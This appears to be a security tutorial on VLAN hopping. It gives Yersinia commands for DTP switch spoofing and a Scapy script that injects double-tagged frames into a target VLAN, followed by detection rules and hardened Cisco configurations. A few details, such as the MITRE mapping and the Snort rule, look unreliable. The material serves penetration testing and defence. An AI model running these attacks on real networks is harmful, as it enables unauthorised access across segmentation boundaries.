Network segmentation is one of the most fundamental security controls in enterprise architecture. VLANs are how that segmentation is typically implemented at Layer 2 — separating the finance workstations from the engineering lab, the production servers from the guest wireless, the PCI cardholder data environment from the rest of the network.

The problem is that VLANs are enforced by switch configuration, and switches — particularly legacy ones with default settings that prioritize compatibility over security — can be tricked into treating an attacker’s port as a trunk, delivering traffic from every VLAN on the wire. Or a single double-encapsulated frame can jump a VLAN boundary in one hop with no negotiation required.

VLAN hopping is a Layer 2 attack. It bypasses firewalls and access control lists configured at Layer 3, because the traffic never reaches the routed boundary. This makes it invisible to most security monitoring tools that inspect only routed traffic.


VLAN and 802.1Q Fundamentals

Before examining the attack, it is worth understanding the underlying mechanics.

Access port: Configured for a single VLAN. Frames arriving on an access port are untagged; the switch assigns them to the configured VLAN internally. Frames sent out an access port are also untagged.

Trunk port: Carries traffic for multiple VLANs using 802.1Q tagging. Each frame is prefixed with a 4-byte 802.1Q header containing the VLAN ID (12-bit field, supporting VLANs 1–4094).

Native VLAN: The VLAN to which untagged frames on a trunk port are assigned. Both sides of a trunk must agree on the native VLAN. Cisco default is VLAN 1.

Dynamic Trunking Protocol (DTP): Cisco proprietary protocol. Ports in auto or desirable mode will negotiate trunking with a peer sending DTP frames. This is enabled by default on most Cisco IOS switch interfaces.


Attack Method 1: Switch Spoofing

How It Works

  1. The attacker’s machine is connected to a switch port in dynamic auto or dynamic desirable mode (the default on many Cisco switches).
  2. The attacker sends DTP frames from their NIC, claiming to be a switch wanting to negotiate a trunk.
  3. The legitimate switch accepts the trunk negotiation and transitions the port to trunk mode.
  4. The attacker’s machine now receives frames from all VLANs traversing that switch, regardless of which VLAN their port was originally in.

Attack Steps

 1# Install Yersinia (Layer 2 attack tool)
 2sudo apt install yersinia
 3
 4# List available DTP attack modes
 5yersinia dtp -h
 6
 7# Launch DTP trunk negotiation attack in CLI mode
 8sudo yersinia dtp -attack 1 -interface eth0
 9
10# Interactive ncurses interface — select DTP → Enable trunking
11sudo yersinia -I
12# Navigate to DTP, press 'a' for attacks, select "enabling trunking"

Once trunking is negotiated, the attacker uses a VLAN-aware sniffer to receive all VLAN traffic:

1# Create VLAN sub-interface on attacker machine to access VLAN 20
2sudo ip link add link eth0 name eth0.20 type vlan id 20
3sudo ip link set eth0.20 up
4sudo dhclient eth0.20
5
6# Now attacker is in VLAN 20 without authorization
7# Scan the target VLAN
8nmap -sn 10.20.0.0/24

Vulnerable Switch Configuration

! Cisco IOS — vulnerable default configuration
interface GigabitEthernet1/0/12
 switchport mode dynamic auto
 ! DTP is active; will negotiate trunk with any peer claiming to be a switch

Attack Method 2: Double Tagging

How It Works

Double tagging exploits the native VLAN behavior of 802.1Q trunk links. The attack is one-way: the attacker can inject frames into the target VLAN but cannot receive responses (unless they also control a host in the target VLAN or combine this with ARP poisoning).

  1. The attacker crafts a frame with two 802.1Q tags:
    • Outer tag: Native VLAN (e.g., VLAN 1). The ingress switch strips this tag because native VLAN traffic is forwarded untagged.
    • Inner tag: Target VLAN (e.g., VLAN 100).
  2. The ingress switch strips the outer VLAN 1 tag and forwards the frame (now single-tagged with VLAN 100) out the trunk port.
  3. The downstream switch reads the inner VLAN 100 tag and delivers the frame to a host in VLAN 100.
  4. The target host responds, but the reply goes to the legitimate gateway, not back to the attacker.

Double Tagging with Scapy

 1#!/usr/bin/env python3
 2"""
 3VLAN double-tagging frame injection — educational/lab use only.
 4Attacker must be on the native VLAN (e.g., VLAN 1) of the ingress trunk.
 5"""
 6from scapy.all import *
 7
 8ATTACKER_MAC = "aa:bb:cc:dd:ee:ff"
 9TARGET_MAC   = "11:22:33:44:55:66"   # Target host in victim VLAN
10TARGET_IP    = "10.100.0.50"          # Target host IP
11ATTACKER_IP  = "10.1.0.200"           # Attacker IP
12
13OUTER_VLAN   = 1    # Native VLAN of trunk — will be stripped by first switch
14INNER_VLAN   = 100  # Target VLAN
15
16# Build double-tagged frame: Ethernet → 802.1Q(1) → 802.1Q(100) → IP → ICMP
17frame = (
18    Ether(dst=TARGET_MAC, src=ATTACKER_MAC) /
19    Dot1Q(vlan=OUTER_VLAN) /
20    Dot1Q(vlan=INNER_VLAN) /
21    IP(src=ATTACKER_IP, dst=TARGET_IP) /
22    ICMP()
23)
24
25print(f"[*] Injecting double-tagged frame to VLAN {INNER_VLAN} via native VLAN {OUTER_VLAN}")
26sendp(frame, iface="eth0", count=3, verbose=1)

To inject a TCP SYN toward a specific service (e.g., TCP 80 on a web server in VLAN 100):

1frame = (
2    Ether(dst=TARGET_MAC, src=ATTACKER_MAC) /
3    Dot1Q(vlan=OUTER_VLAN) /
4    Dot1Q(vlan=INNER_VLAN) /
5    IP(src=ATTACKER_IP, dst=TARGET_IP) /
6    TCP(dport=80, flags="S")
7)
8sendp(frame, iface="eth0", count=1, verbose=1)

Note that because double tagging is one-way, a full TCP handshake cannot be completed without a man-in-the-middle position or a second technique to receive responses.


Real-World Relevance

PCI DSS Segmentation Testing

The Payment Card Industry Data Security Standard (PCI DSS v4.0, Requirement 11.4.5) requires penetration testing to verify that network segmentation controls are effective. Specifically, a tester must attempt to traverse from out-of-scope segments into the cardholder data environment (CDE).

A successful VLAN hop from a guest Wi-Fi VLAN into the POS terminal VLAN, or from a general corporate VLAN into the CDE VLAN, constitutes a segmentation failure that can:

  • Expand the scope of a PCI assessment to include the entire network.
  • Require remediation and a full re-test before passing the assessment.
  • Result in fines from card brands if exploited in an actual breach.

Cloud Provider VLAN Isolation Failures

In multi-tenant cloud environments, VLAN isolation between customer virtual networks is a critical control. Research by security teams at venues including Black Hat and CCC has demonstrated that hypervisor misconfigurations or software-defined networking bugs can allow double-tagged frames to cross tenant boundaries.

AWS and Azure have encountered theoretical exposure vectors in this space, though no publicly confirmed mass exploitation has occurred. The risk is higher in on-premises private cloud deployments using older virtual switch implementations (VMware vSwitch, older versions of Open vSwitch before 2.x hardening).


Detection

Firewall and Flow Logs

 1# Look for inter-VLAN traffic that bypasses the firewall
 2# If VLAN 10 hosts are communicating directly with VLAN 100 hosts
 3# without traversing the L3 gateway, something is wrong.
 4
 5# Palo Alto: look for traffic between VLANs without security zone policy
 6# Cisco ASA: check for unexpected intra-zone traffic
 7
 8# Netflow: look for flows between source/dest IPs in different subnets
 9# that should require routing but appear on the same L2 segment
10nfdump -r /var/cache/nfdump/current -f 'src net 10.1.0.0/24 and dst net 10.100.0.0/24' -s dstip/flows

Snort Rule for 802.1Q Double Tagging

# Detect 802.1Q double-tagged frames (two consecutive 0x8100 EtherType values)
# This is a heuristic — legitimate QinQ (802.1ad) uses 0x88A8 for outer tag
alert tcp any any -> any any (
  msg:"VLAN Hopping - 802.1Q Double Tag Detected";
  rawbytes;
  content:"|81 00|";
  content:"|81 00|";
  distance:2;
  within:2;
  sid:9000001;
  rev:1;
)

VLAN ACL Hit Counter Monitoring

On Cisco switches, VACL hit counters spike when unexpected traffic matches a deny rule:

! Apply VACL to detect anomalous inter-VLAN traffic
vlan access-map MONITOR_VLAN100 10
 match ip address ACL_BLOCK_FROM_VLAN1
 action drop log

! Check counters
show vlan access-map MONITOR_VLAN100
show ip access-lists ACL_BLOCK_FROM_VLAN1

A sudden increase in ACL deny hits on a VLAN boundary ACL is an indicator worth investigating.

Switchport DTP Negotiation Logs

! Enable logging for DTP state changes on Cisco IOS
logging buffered 16384
logging console informational
service timestamps log datetime msec

! DTP trunk negotiation will generate:
%DTP-5-TRUNKPORTON: Port Gi1/0/12 has become dot1q trunk

A port transitioning to trunk state unexpectedly (especially a port connected to an endpoint, not an uplink) is a strong indicator of a switch spoofing attack.


Hardened Cisco IOS Configuration

! ----- Access port hardening -----
interface GigabitEthernet1/0/12
 description Workstation Port
 switchport mode access
 switchport access vlan 10
 switchport nonegotiate          ! Disable DTP completely
 spanning-tree portfast          ! Access ports should be PortFast
 spanning-tree bpduguard enable  ! Drop BPDUs from non-switch ports
 no cdp enable                   ! Optional: disable CDP on access ports
 storm-control broadcast level 20 10
 storm-control action shutdown

! ----- Trunk port hardening -----
interface GigabitEthernet1/0/1
 description Uplink to Core Switch
 switchport mode trunk
 switchport nonegotiate           ! No DTP on trunks either
 switchport trunk native vlan 999 ! Native VLAN = unused, unrouted VLAN
 switchport trunk allowed vlan 10,20,30,100
 ! Explicitly list only required VLANs — not "all"

! ----- Native VLAN: create but don't assign to anything -----
vlan 999
 name UNUSED_NATIVE_VLAN
 shutdown   ! IOS doesn't support shutdown on VLANs; just leave unrouted

! ----- Remove VLAN 1 from all trunks -----
interface GigabitEthernet1/0/1
 switchport trunk allowed vlan remove 1

! ----- Unused ports: shutdown and put in a dead VLAN -----
interface range GigabitEthernet1/0/20 - 48
 switchport mode access
 switchport access vlan 998
 shutdown

Private VLAN for Server Isolation

! Create private VLAN on Cisco IOS/NX-OS
vlan 200
 name PRIMARY_PVL
 private-vlan primary

vlan 201
 name ISOLATED_PVL
 private-vlan isolated

vlan 202
 name COMMUNITY_PVL
 private-vlan community

! Associate secondary with primary
vlan 200
 private-vlan association 201,202

! Promiscuous port (gateway/firewall)
interface GigabitEthernet1/0/1
 switchport mode private-vlan promiscuous
 switchport private-vlan mapping 200 201,202

! Isolated server port (no server-to-server traffic)
interface GigabitEthernet1/0/5
 switchport mode private-vlan host
 switchport private-vlan host-association 200 201

MITRE ATT&CK Mapping

TechniqueIDDescription
Network Boundary Bridging: Network Address Translation TraversalT1599.001VLAN-based network segmentation bypass
Exploitation of Remote ServicesT1210Lateral movement enabled by VLAN hop
Network SniffingT1040Capture of inter-VLAN traffic post-trunk


References